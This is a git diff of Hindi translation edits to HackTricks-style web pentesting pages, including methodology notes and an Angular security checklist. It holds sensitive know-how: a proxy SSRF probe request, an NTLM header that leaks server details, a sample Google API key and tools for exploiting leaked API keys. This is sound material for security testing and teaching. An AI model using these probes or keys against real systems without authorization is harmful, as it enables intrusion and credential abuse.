-- यदि आप **CTF** खेल रहे हैं, तो एक "सामान्य" चाल है **जानकारी** को **छिपाना** **पृष्ठ** के **दाईं ओर** टिप्पणियों के अंदर (स्रोत कोड को ब्राउज़र के साथ खोलने पर डेटा नहीं देखने के लिए **सैकड़ों** **स्पेस** का उपयोग करके)। दूसरी संभावना यह है कि **कई नई पंक्तियाँ** का उपयोग करें और **वेब पृष्ठ** के **नीचे** एक टिप्पणी में **जानकारी** छिपाएं।
+- यदि आप **CTF** खेल रहे हैं, तो एक "सामान्य" चाल है **जानकारी** को **छिपाना** **पृष्ठ** के **दाईं** ओर टिप्पणियों के अंदर (स्रोत कोड को ब्राउज़र के साथ खोलने पर डेटा नहीं देखने के लिए **सैकड़ों** **स्पेस** का उपयोग करके)। दूसरी संभावना यह है कि **कई नई पंक्तियाँ** का उपयोग करें और **वेब पृष्ठ** के **नीचे** एक टिप्पणी में **जानकारी** छिपाएँ।
- **API कुंजी**: यदि आप **कोई API कुंजी** पाते हैं तो विभिन्न प्लेटफार्मों की API कुंजी का उपयोग करने के लिए एक गाइड है: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API कुंजी: यदि आप कोई API कुंजी पाते हैं जो **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik की तरह दिखती है, तो आप यह जांचने के लिए प्रोजेक्ट [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि कुंजी किस API तक पहुँच सकती है।
-- **S3 बकेट**: स्पाइडरिंग करते समय देखें कि क्या कोई **उपडोमेन** या कोई **लिंक** किसी **S3 बकेट** से संबंधित है। इस मामले में, [**बकेट** के **अनुमतियों** की **जांच करें**](buckets/index.html)।
+- **S3 बकेट**: स्पाइडरिंग करते समय देखें कि क्या कोई **उपडोमेन** या कोई **लिंक** किसी **S3 बकेट** से संबंधित है। इस मामले में, [**बकेट के **अनुमतियों** की जांच करें](buckets/index.html)।
### विशेष खोज
@@ -291,14 +291,14 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
- [यदि आप एक _**.git**_ फ़ाइल पाते हैं तो कुछ जानकारी निकाली जा सकती है](git.md)
- यदि आप एक _**.env**_ पाते हैं तो API कुंजी, डेटाबेस पासवर्ड और अन्य जानकारी मिल सकती है।
- यदि आप **API एंडपॉइंट्स** पाते हैं तो आपको [उन्हें भी परीक्षण करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, लेकिन शायद "उनकी तरह" दिखेंगी।
-- **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया था जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **हर JS फ़ाइल की निगरानी करना** दिलचस्प होगा, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित कमजोरी पेश की गई है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
+- **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया है जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **प्रत्येक JS फ़ाइल** की निगरानी करना दिलचस्प होगा, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित कमजोरी पेश की गई है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
- आपको [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) के साथ खोजी गई JS फ़ाइलों की भी जांच करनी चाहिए कि क्या यह कमजोर है।
- **Javascript Deobfuscator और Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (जावास्क्रिप्ट के साथ वर्ण:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- कई अवसरों पर, आपको उपयोग की गई नियमित अभिव्यक्तियों को **समझने** की आवश्यकता होगी। यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) या [https://pythonium.net/regex](https://pythonium.net/regex)
-- आप उन फ़ाइलों की भी **निगरानी कर सकते हैं जहां फ़ॉर्म का पता लगाया गया था**, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित नए कमजोर कार्यक्षमता का संकेत दे सकता है।
+- आप उन फ़ाइलों की भी निगरानी कर सकते हैं जहाँ फ़ॉर्म का पता लगाया गया था, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित नई कमजोर कार्यक्षमता का संकेत दे सकता है।
**403 निषिद्ध/बुनियादी प्रमाणीकरण/401 अनधिकृत (बायपास)**
@@ -308,13 +308,13 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
**502 प्रॉक्सी त्रुटि**
-यदि कोई पृष्ठ **उस कोड के साथ प्रतिक्रिया करता है**, तो यह शायद एक **खराब कॉन्फ़िगर की गई प्रॉक्सी** है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हेडर और अन्य सामान्य हेडर के साथ), तो **प्रॉक्सी** _**google.com**_ **तक पहुँचने की कोशिश करेगी** और आप एक **SSRF** पाएंगे।
+यदि कोई पृष्ठ **कोड** के साथ **प्रतिक्रिया** करता है, तो यह शायद एक **खराब कॉन्फ़िगर की गई प्रॉक्सी** है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हेडर और अन्य सामान्य हेडर के साथ), तो **प्रॉक्सी** _**google.com**_ **तक पहुँचने की कोशिश करेगी** और आप एक **SSRF** पाएंगे।
**NTLM प्रमाणीकरण - जानकारी का खुलासा**
यदि चल रहा सर्वर प्रमाणीकरण के लिए **Windows** है या आप अपने **क्रेडेंशियल्स** के लिए एक लॉगिन पाते हैं (और **डोमेन** **नाम** के लिए पूछता है), तो आप एक **जानकारी का खुलासा** कर सकते हैं।\
-**हेडर भेजें**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और जिस तरह से **NTLM प्रमाणीकरण काम करता है**, सर्वर "WWW-Authenticate" हेडर के अंदर आंतरिक जानकारी (IIS संस्करण, Windows संस्करण...) के साथ प्रतिक्रिया देगा।\
-आप **nmap प्लगइन** "_http-ntlm-info.nse_" का उपयोग करके इसे **स्वचालित** कर सकते हैं।
+**हेडर** भेजें: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और जिस तरह से **NTLM प्रमाणीकरण काम करता है**, सर्वर "WWW-Authenticate" हेडर के अंदर आंतरिक जानकारी (IIS संस्करण, Windows संस्करण...) के साथ प्रतिक्रिया देगा।\
+आप इसे **nmap प्लगइन** "_http-ntlm-info.nse_" का उपयोग करके स्वचालित कर सकते हैं।
**HTTP रीडायरेक्ट (CTF)**
@@ -336,7 +336,7 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
### पृष्ठों की निगरानी करें
-आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों की निगरानी कर सकते हैं ताकि संशोधनों की पहचान की जा सके जो कमजोरियों को डाल सकते हैं।
+आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों की निगरानी कर सकते हैं ताकि ऐसे संशोधन जो कमजोरियों को डाल सकते हैं।
### HackTricks स्वचालित आदेश
```
diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md
index e1a3cb5ce..9dcd727fa 100644
--- a/src/network-services-pentesting/pentesting-web/angular.md
+++ b/src/network-services-pentesting/pentesting-web/angular.md
@@ -8,7 +8,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
* [ ] प्रोजेक्ट कॉन्फ़िगरेशन में स्क्रिप्ट के लिए सोर्समैप अक्षम है
* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को हमेशा टेम्पलेट्स में उपयोग करने से पहले इंटरपोलेट या सैनीटाइज किया जाता है
* [ ] उपयोगकर्ता के पास सर्वर-साइड या क्लाइंट-साइड टेम्पलेट्स पर कोई नियंत्रण नहीं है
-* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को एप्लिकेशन द्वारा विश्वसनीय होने से पहले उचित सुरक्षा संदर्भ का उपयोग करके सैनीटाइज किया जाता है
+* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को एप्लिकेशन द्वारा विश्वसनीय होने से पहले एक उपयुक्त सुरक्षा संदर्भ का उपयोग करके सैनीटाइज किया जाता है
* [ ] `BypassSecurity*` विधियों का अविश्वसनीय इनपुट के साथ उपयोग नहीं किया जाता है
* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को Angular क्लासेस जैसे `ElementRef`, `Renderer2` और `Document`, या अन्य JQuery/DOM सिंक्स में नहीं भेजा जाता है
@@ -43,7 +43,7 @@ According to the documentation, हर Angular एप्लिकेशन म
Angular NgModules एक एप्लिकेशन डोमेन, एक वर्कफ़्लो, या निकटता से संबंधित क्षमताओं के सेट के लिए एक संकलन संदर्भ घोषित करते हैं। हर Angular एप्लिकेशन में एक रूट मॉड्यूल होता है, जिसे पारंपरिक रूप से `AppModule` कहा जाता है, जो एप्लिकेशन को लॉन्च करने के लिए बूटस्ट्रैप तंत्र प्रदान करता है। एक एप्लिकेशन आमतौर पर कई कार्यात्मक मॉड्यूल्स को शामिल करता है। `AppModule` को `app.module.ts` फ़ाइल में परिभाषित किया गया है।
-Angular `Router` NgModule एक सेवा प्रदान करता है जो आपको अपने एप्लिकेशन में विभिन्न एप्लिकेशन राज्यों और दृश्य हायरार्की के बीच एक नेविगेशन पथ परिभाषित करने की अनुमति देता है। `RouterModule` को `app-routing.module.ts` फ़ाइल में परिभाषित किया गया है।
+Angular `Router` NgModule एक सेवा प्रदान करता है जो आपको अपने एप्लिकेशन में विभिन्न एप्लिकेशन राज्यों और दृश्य हायरार्कियों के बीच एक नेविगेशन पथ परिभाषित करने की अनुमति देता है। `RouterModule` को `app-routing.module.ts` फ़ाइल में परिभाषित किया गया है।
डेटा या लॉजिक के लिए जो किसी विशिष्ट दृश्य से संबंधित नहीं है, और जिसे आप कंपोनेंट्स के बीच साझा करना चाहते हैं, आप एक सेवा क्लास बनाते हैं। एक सेवा क्लास परिभाषा के तुरंत पहले `@Injectable()` डेकोरेटर होता है। डेकोरेटर मेटाडेटा प्रदान करता है जो अन्य प्रदाताओं को आपकी क्लास में निर्भरता के रूप में इंजेक्ट करने की अनुमति देता है। निर्भरता इंजेक्शन (DI) आपको अपने कंपोनेंट क्लासेस को पतला और कुशल बनाए रखने की अनुमति देता है। वे सर्वर से डेटा नहीं लाते, उपयोगकर्ता इनपुट को मान्य नहीं करते, या सीधे कंसोल में लॉग नहीं करते; वे ऐसी कार्यों को सेवाओं को सौंपते हैं।
@@ -218,7 +218,7 @@ test = "